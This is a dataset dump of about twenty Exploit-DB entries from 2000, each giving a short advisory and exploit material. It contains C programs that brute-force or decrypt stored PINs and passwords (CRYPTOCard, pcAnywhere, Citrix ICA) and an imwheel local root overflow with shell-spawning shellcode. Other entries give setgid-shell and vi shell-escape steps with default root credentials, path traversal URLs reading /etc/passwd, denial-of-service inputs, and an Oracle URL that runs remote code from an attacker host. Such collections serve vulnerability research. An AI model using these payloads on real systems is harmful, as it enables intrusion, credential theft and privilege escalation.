QLWD/code_shield huggingface dataset:
标题: CRYPTOCard CRYPTOAdmin 4.1 - Weak Encryption (1) EDB-ID: 19838 CVE: 2000-0275 类型: LOCAL 平台: LINUX 发布日期: 2000-04-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1097/info

CRYPTOCard CRYPTOAdmin is a network authentication application for use with the Palm OS platform. CRYPTOAdmin generates a .pdb file which contains the username, PIN number, serial number, and key in encrypted or plaintext format. The PIN number can be retrieved due to the software's usage of a fixed 4-byte value in key generation. With access to the .pdb file and PIN number, a user is capable of duplicating the token onto another Palm device effectively gaining access to the network as the compromised user. 

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
        des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F, 
                                     0x25, 0x6D, 0x67, 0x6C};
        des_key_schedule sched;
        unsigned long massaged;
        FILE *pdb;
                 
        if (argc == 1)
        {
                fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
        return 1;
        }       

        fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
        fprintf(stdout, "kingpin@atstake.com\n");
        fprintf(stdout, "@Stake L0pht Research Labs\n");
        fprintf(stdout, "http://www.atstake.com\n\n");
        
        if((pdb = fopen(argv[1], "rb")) == NULL)
        {
                fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
                return 1;
        }
        
        fseek(pdb, 189L, SEEK_SET);
        if (fread(in, 1, 8, pdb) != 8)
        {
                fprintf(stderr, "Error getting ciphertext string.\n\n");
                return 1;
        }
        
        fclose(pdb);
                
        key[4] = 0x24;
        key[5] = 0x7E;
        key[6] = 0x3E;
        key[7] = 0x6C;

        for (massaged = 0; massaged < 900000000; massaged += 9)
        {
                key[0]=(massaged>>24) & 0xff;
                key[1]=(massaged>>16) & 0xff;
                key[2]=(massaged>>8) & 0xff;
                key[3]=(massaged) & 0xff;

                des_set_key(&key,sched);
                des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);
        
                if (memcmp(out, valid, 8) == 0)
                {
                        fprintf(stdout, "\n\nPIN: %d", massaged/9);
                break;
                }

                if ((massaged % 900000) == 0)
                {
                fprintf(stdout, "#");
                fflush(stdout);
                }
        }

        fprintf(stdout, "\n\n");
        return 0;
} URL: https://www.exploit-db.com/exploits/19838
标题: Real Networks RealPlayer 6/7 - Location Buffer Overflow EDB-ID: 19834 CVE: 2000-0280 类型: DOS 平台: WINDOWS 发布日期: 2000-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1088/info

Unchecked buffer code exists in the 'location' field of Real Networks RealPlayer versions 6.0 and 7.0. Requesting a URL containing a string consisting of 300 or more characters would cause the application to crash and would require a restart in order to regain normal functionality. Arbitrary code can potentially be executed through this vulnerability.

This vulnerability may be exploited remotely if such a URL were embedded in a HTML file with the command 'autostart' set as 'true'. Both RealPlayer and the accompanying browser would crash in this case and require to be restarted to regain functionality.

So far only the Windows versions of the Real Player have been proven to be vulnerable in this manner. 

http://<string containing over 300 characters> URL: https://www.exploit-db.com/exploits/19834
标题: Symantec pcAnywhere 9.0 - Weak Encryption EDB-ID: 19836 CVE: 2000-0300 类型: LOCAL 平台: WINDOWS 发布日期: 2000-04-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1093/info

Symantec pcAnywhere is shipped by default with a weak encryption scheme that is used to encrypt username and password transmittal. Therefore, usernames and password can be retrieved by anyone sniffing the network in between the host computer running pcAnywhere and the NT domain controller.

Users of pcAnywhere can be authenticated with their NT domain username and password. In this case, the weakly encrypted transmitted authentication would be transmitted domain wide. 

#include <stdio.h>
#include <string.h>

void main() {

  char password[128];
  char cleartext[128];
  int  i;

  // input the sniffed hex values here
  // Encrypted example of the 'aaaaa' password
  password[0]=0xca;
  password[1]=0xab;
  password[2]=0xcb;
  password[3]=0xa8;
  password[4]=0xca;
  password[5]='\0';

 cleartext[0]=0xca-password[0]+0x61;
 for (i=1;i<strlen(password);i++) 
   cleartext[i] = password[i-1] ^ password[i] ^ i-1;
 
 cleartext[strlen(password)]='\0';

 printf("password is %s \n",cleartext);

} URL: https://www.exploit-db.com/exploits/19836
标题: SalesLogix Corporation eViewer 1.0 - Denial of Service EDB-ID: 19835 CVE: 2000-0278 类型: DOS 平台: WINDOWS 发布日期: 2000-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1089/info

SalesLogix eViewer is a web application integrated with the SalesLogix 2000 package.

eViewer will not perform authorization on administrative commands if they are requested directly in the URL. Therefore, the URL:

http:&nbsp;//target/scripts/slxweb.dll/admin?command=shutdown

will cause the slxweb.dll process to shutdown. Possibly other commands aside from 'shutdown' could be performed by a remote user as well. Although the slxweb.dll process will restart once a new query or session is issued, continually requesting the URL above will cause a denial of service.

Additional notes:
The program which issues administrative commands (slxweb.dll) is installed by default in the /scripts directory and cannot be relocated. In addition to this security concern, the package requires a user to change the default anonymous username (IUSR_{systemname}) in Microsoft IIS to 'slxwebuser' and grant it administrative privileges. 

http://target/scripts/slxweb.dll/admin?command=shutdown URL: https://www.exploit-db.com/exploits/19835
标题: Cobalt RaQ 2.0/3.0 - Apache .htaccess Disclosure EDB-ID: 19828 CVE: 2000-0234 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1083/info

The default configuration of Cobalt Raq2 and Raq3 servers allows remote access to .htaccess files. This could lead to unauthorized retrieval of username and password information for restricted portions of a website hosted on the server. 

Make a regular GET request, specifying an .htaccess file ie:
http ://target/path/.htaccess URL: https://www.exploit-db.com/exploits/19828
标题: Microsoft Windows NT 4.0/2000 - TCP/IP Printing Service Denial of Service EDB-ID: 19827 CVE: 2000-0232 类型: DOS 平台: WINDOWS 发布日期: 2000-03-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1082/info

The TCP/IP Printing Service (also known as Print Services for Unix in Windows 2000) is the mechanism used for print service integration with Unix environments.

It relies on port 515 for data transmittal. A malformed print request sent to this particular port can cause the service to cease functioning and can affect other services as well, including SimpTCP, DHCPServer, FTPSvc, LPDSvc, and BinlSvc. The service will require to be stopped and restarted in order to regain normal functionality.

The TCP/IP Printing Service is not installed by default on Windows NT or Windows 2000 and this exploit does not affect the printing services native to Windows.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19827-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19827-2.zip URL: https://www.exploit-db.com/exploits/19827
标题: Microsoft Index Server 2.0 - '%20' ASP Source Disclosure EDB-ID: 19830 CVE: 2000-0302 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/1084/info

Index Server can be used to cause IIS to display the source of .asp and possibly other server-side processed files.

By appending a space (%20) to the end of the filename specified in the 'CiWebHitsFile' variable, and setting 'CiHiliteType' to 'Full' and 'CiRestriction' to 'None', it is possible to retrieve the unprocessed source of the file.

This is possible on any machine with Index Server installed, even those with no normal .htw files, because the virtual file null.htw is stored in memory and the .htw extension is mapped by default to webhits.dll . 

Requesting a URL like the following will return the source of default.asp on a vulnerable system:

http://target/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full URL: https://www.exploit-db.com/exploits/19830
标题: Microsoft IIS 4.0 - UNC Mapped Virtual Host EDB-ID: 19824 CVE: 2000-0246 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-03-30 漏洞利用脚本: MS Commercial Internet System 2.0/2.5,IIS 4.0,Proxy Server 2.0,Site Server Commerce Edition 3.0 UNC Mapped Virtual Host Vulnerability

source: https://www.securityfocus.com/bid/1081/info

If a virtual host root is mapped to a UNC share, a backward slash "\" appended to an ASP or HTR extension in a URL request to that virtual host will cause Microsoft Internet Information Server to transmit full source code of the file back to a remote user. Files located on the local drive where IIS is installed is not affected by this vulnerability. 

http://target/file.asp\ URL: https://www.exploit-db.com/exploits/19824
标题: Standard & Poors ComStock 4.2.4 - Command Execution EDB-ID: 19823 CVE: 2000-0109 类型: LOCAL 平台: UNIX 发布日期: 2000-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1080/info

Numerous vulnerabilities exist in the ComStock product, as sold by Standard & Poor's. ComStock is based on the RedHat 5.1 distribution, and contains many of the vulnerabilities found in the 5.1 distribution. In addition, it contains numerous accounts with weak, or nonexistent passwords.

The ComStock MultiCSP machine is intended to provide a realtime stock quote stream. It runs a proprietary service called 'mcsp' to provide this service. These machines acquire their data via a leased line, or other dedicated data connection. They used reserved address space. However, no attempt is made to prevent these ComStock machines from being used to compromise other machines on the private network. In addition, the routers utilized on the private network these machines communicate over are internet-accessible. 

There are numerous accounts with easily guessable passwords. The following are well known passwords:
User: root Password: c0mst0ck
User: helpmcsp: Password: (none)
User: helpicl Password: (none)

The helpmcsp and helpicl accounts will display a set of help to the user accessing these accounts, using the 'more' command. Shell level access can be gained as follows:
Hit 'v' to bring up the file in vi
:set shell=/bin/bash <RETURN>
:shell <RETURN>

In addition, many RedHat 5.1 exploits should allow for the compromise of these machines. URL: https://www.exploit-db.com/exploits/19823
标题: Citrix Metaframe 1.0/1.8 - Weak Encryption EDB-ID: 19821 CVE: 2000-0244 类型: LOCAL 平台: MULTIPLE 发布日期: 2000-03-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1077/info

The ICA protocol uses a simple XOR-based encryption algorthm to protect user credentials while stored or in transit. This encryption can be easily broken, meaning that anyone sniffing the connection can obtain user access to the server.

The ICA protocol, developed by Citrix, is used in Citrix server products such as WinFrame and MetaFrame and possibly others, and in Citrix and third party clients for those products. 

/*
  icadecrypt.c

  Decrypt stored Citrix ICA passwords (in appsrv.ini).

  Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int
hex_decode(char *src, u_char *dst, int outsize)
{
  char *p, *pe;
  u_char *q, *qe, ch, cl;
  
  pe = src + strlen(src);
  qe = dst + outsize;

  for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2) {
    ch = tolower(p[0]);
    cl = tolower(p[1]);
    
    if ((ch >= '0') && (ch <= '9')) ch -= '0';
    else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
    else return (-1);
    
    if ((cl >= '0') && (cl <= '9')) cl -= '0';
    else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
    else return (-1);
    
    *q++ = (ch << 4) | cl;
  }
  return (q - dst);
}

int
ica_decrypt(u_char *pass, int len)
{
  u_short i;
  u_char *p, key;

  if (len < 4)
    return (0);

  i = ntohs(*(u_short *)pass);
  
  if (i != len - 2)
    return (0);
  
  key = pass[2];
  p = pass + 3;
  
  for (i -= 2; i > 0; i--)
    p[i] = p[i - 1] ^ p[i] ^ key;

  p[0] ^= (key | 'C');
  
  i = len - 3;
  memmove(pass, pass + 3, i);
  pass[i] = '\0';
  
  return (1);
}

void
usage(void)
{
  fprintf(stderr, "Usage: icadecrypt <file>\n");
  exit(1);
}

int
main(int argc, char *argv[])
{
  FILE *f;
  u_char line[1024], pass[128];
  int len;

  if (argc != 2 || *argv[1] == '-')
    usage();

  if ((f = fopen(argv[1], "r")) == NULL) {
    perror("fopen");
    exit(1);
  }
  while (fgets(line, sizeof(line), f) != NULL) {
    if (strncmp(line, "Password=", 9) == 0) {
      len = hex_decode(line + 9, pass, sizeof(pass));
      if (ica_decrypt(pass, len))
        printf("; icadecrypt: [%s]\n", pass);
    }
    printf("%s", line);
  }
  fclose(f);

  exit(0);
}

/* 5000. */ URL: https://www.exploit-db.com/exploits/19821
标题: AnalogX SimpleServer:WWW 1.0.3 - Denial of Service EDB-ID: 19820 CVE: 2000-0243 类型: DOS 平台: WINDOWS 发布日期: 2000-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1076/info

Requesting a URL containing a string of exactly eight characters following the /cgi-bin/ directory (17 characters in total) will cause AnalogX SimpleServer:WWW to shut down. 

http://target/cgi-bin/<8 character long string> URL: https://www.exploit-db.com/exploits/19820
标题: GeoCel WindMail 3.0 - Remote File Read EDB-ID: 19819 CVE: 2000-0242 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/1073/info

WindMail is a command-line mailer that can be integrated with perl cgi applications to create form-mail capability for a website.

WindMail 3.0 and possibly previous versions can be used to retrieve any ascii file that the webserver has read access to, provided the path and filename is known to the attacker. If the attacker has write access anywhere on the system and can determine the path to the writable directory, any file whether ascii or binary can be retrieved.

WindMail operates in two modes: "command line" and "header parsing".

In command line mode, all delivery options are specified at the command line as switch values, and the -n switch specifies a file name to send as the message body. In this mode, an attacker can specify any file that the webserver has read access to, and an email address to send that file to.

In header parsing mode, a file is specified with the -n switch that contains a set of headers at the beginning of the file, separated from the message body by a single blank line. Therefore, if an attacker can create a file on the system that includes an 'Attach:' header, they can then specify that file with the -n switch and wait for the file listed in the 'Attach' header to arrive via email. 

To retrieve any known ascii file from the target webserver, enter a URL like:
http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address URL: https://www.exploit-db.com/exploits/19819
标题: gpm 1.18.1/1.19 / Debian 2.x / RedHat 6.x / S.u.S.E 5.3/6.x - gpm Setgid EDB-ID: 19816 CVE: 2000-0229 类型: LOCAL 平台: LINUX 发布日期: 2000-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/1069/info

A vulnerability exists in the gpm-root program, part of the gpm package. This package is used to enable mice on the consoles of many popular Linux distributions. The problem is a design error, caused when a programmer chose to attempt to revert to the running users groups, after having called setuid to the users id already. The setgid call fails, and the process maintains the groups the gpm-root program is running as. This is usually the 'root' group.

This vulnerability requires the user have console access. 

cp /bin/sh /tmp
create a .gpm-root file in ~ with the following:
button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

click control-left mouse button, and click "setgid shell"
execute /tmp/sh URL: https://www.exploit-db.com/exploits/19816
标题: Atrium Software Mercur Mail Server 3.2 - Multiple Buffer Overflows (2) EDB-ID: 19807 CVE: 2000-0198 类型: DOS 平台: WINDOWS 发布日期: 2000-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/1051/info
 
Atrium Software Mercur is a SMTP, POP3, and IMAP mail server. Insufficient boundary checking exists in the code that handles within the SMTP "mail from" command, the POP3 "user" command and the IMAP "login" command. The application will crash if an overly long string is used as an argument to any of these commands.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19807-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19807-2.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19807-3.zip URL: https://www.exploit-db.com/exploits/19807
标题: Linux Kernel 2.2.12/2.2.14/2.3.99 (RedHat 6.x) - Socket Denial of Service EDB-ID: 19818 CVE: 2000-0227 类型: DOS 平台: LINUX 发布日期: 2000-03-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1072/info

A denial of service exists in Linux kernels, as related to Unix domain sockets ignoring limits as set in /proc/sys/net/core/wmem_max. By creating successive Unix domain sockets, it is possible to cause a denial of service in some versions of the Linux kernel. Versions 2.2.12, 2.2.14, and 2.3.99-pre2 have all been confirmed as being vulnerable. Previous kernel versions are most likely vulnerable. 
*/


#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
} URL: https://www.exploit-db.com/exploits/19818
标题: Generation Terrorists Designs & Concepts Sojourn 2.0 - File Access EDB-ID: 19808 CVE: 2000-0180 类型: REMOTE 平台: CGI 发布日期: 2000-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/1052/info

Any file that the webserver has read access to can be read on a server running the Sojourn search engine.

The Sojourn software includes the ability to organize a website into categories. These categories can then be accessed via the sojourn.cgi Perl script. This is done by making a request for a URL like:

http ://target/cgi-bin/sojourn.cgi?cat=categoryname

Each category has an associated .txt file based on the category name. The program appends the .txt extension onto the contents of the 'cat' variable. However, the program will accept and follow the '../' string in the variable contents, allowing read access to any .txt file the webserver can read.

This restriction can be bypassed by appending %00 to the end of the requested file, which will prevent the .txt extension from being used in the filename.

http ://target/cgi-bin/sojourn.cgi?cat=../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/19808
标题: Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (1) EDB-ID: 19811 CVE: 2000-0230 类型: LOCAL 平台: LINUX 发布日期: 2000-03-13 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1060/info

A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a sufficiently long string containing machine executable code, the imwheel program can be caused to run arbitrary commands as root. This is due to a setuid root perl script named 'imwheel-solo' which invokes the imwheel program with effective UID 0. 

/*
 *  imwheel local root exploit [ RHSA-2000:016-02 ]
 *  funkysh 04/2000 funkysh@kris.top.pl
 */
  
#include <stdlib.h>
#include <stdio.h>

#define BUFFER 2070
#define NOP 0x90
#define PATH "/usr/X11R6/bin/imwheel-solo"  

char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
            "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
            "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
            "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long getesp(void) { __asm__("movl %esp,%eax"); }
        
int main(int argc, char *argv[])
{
  int i, offset = 0;
  char buf[BUFFER];
  long address;
  if(argc > 1) offset = atoi(argv[1]);
  address = getesp() + 1000 + offset;
  memset(buf,NOP,BUFFER);
  memcpy(buf+(BUFFER-300),code,strlen(code));

  for(i=(BUFFER-250);i<BUFFER;i+=4)
  *(int *)&buf[i]=address;
  setenv("DISPLAY", "DUPA", 1);
  setenv("HOME", buf, 1);
  execl(PATH, PATH, 0);
} URL: https://www.exploit-db.com/exploits/19811
标题: Halloween Linux 4.0 / SuSE Linux 6.0/6.1/6.2/6.3 - 'kreatecd' Local Privilege Escalation EDB-ID: 19813 CVE: 2000-0231 类型: LOCAL 平台: LINUX 发布日期: 2000-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1061/info

A vulnerability exists in the kreatecd program for Linux. This program is a graphical front end to the cdrecord program, and is installed setuid root. This program will blindly trust the configuration of the path to cdrecord, as specified by the user. This means that arbitrary programs can be executed as root by an attacker using kreatecd. It appears that graphical interaction is required to exploit this program. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19813.tar.gz URL: https://www.exploit-db.com/exploits/19813
标题: vqsoft vqserver for windows 1.9.9 - Directory Traversal EDB-ID: 19815 CVE: 2000-0240 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1067/info

Some versions of vqSoft vqServer for Windows are vulnerable to the common ../../ method of retrieving known files from outside of the web directory structure, accomplished by appending a variable number of "../" and a known filename to an HTTP GET request. 

http://target/../../../../../autoexec.bat URL: https://www.exploit-db.com/exploits/19815
标题: Atrium Software Mercur WebView WebMail-Client 1.0 - Buffer Overflow EDB-ID: 19810 CVE: 2000-0239 类型: DOS 平台: WINDOWS 发布日期: 2000-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/1056/info

WebView WebMail-Client is an add-on for the Mercur SMTP/POP3/IMAP4 Mail Server which allows a user to access email through a web browser.

Insufficient boundary checking exists in the code which handles GET requests, specifically on port 1080. Issuing a GET request containing a string of over 1000 characters on port 1080 will cause the WebView WebMail-Client application to crash.

eg.
http: //target/&mail_user=<string containing over 1000 characters>

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19810-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19810-2.zip URL: https://www.exploit-db.com/exploits/19810
标题: Oracle Web Listener 4.0.x - for NT Batch File EDB-ID: 19809 CVE: 2000-0169 类型: REMOTE 平台: WINDOWS 发布日期: 2000-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1053/info

Oracle Web Listener for NT makes use of various batch files as cgi scripts, which are stored in the /ows-bin/ directory by default. 

Any of these batch files can be used to run arbitrary commands on the server, simply by appending '?&' and a command to the filename. The command will be run at the SYSTEM level. The name of a batch file is not even neccessary, as it will translate the '*' character and apply the appended string to every batch file in the directory. Moreover, UNC paths can be used to cause the server to download and execute remote code.

http: //target/ows-bin/*.bat?&\\attacker\getadmin.bat URL: https://www.exploit-db.com/exploits/19809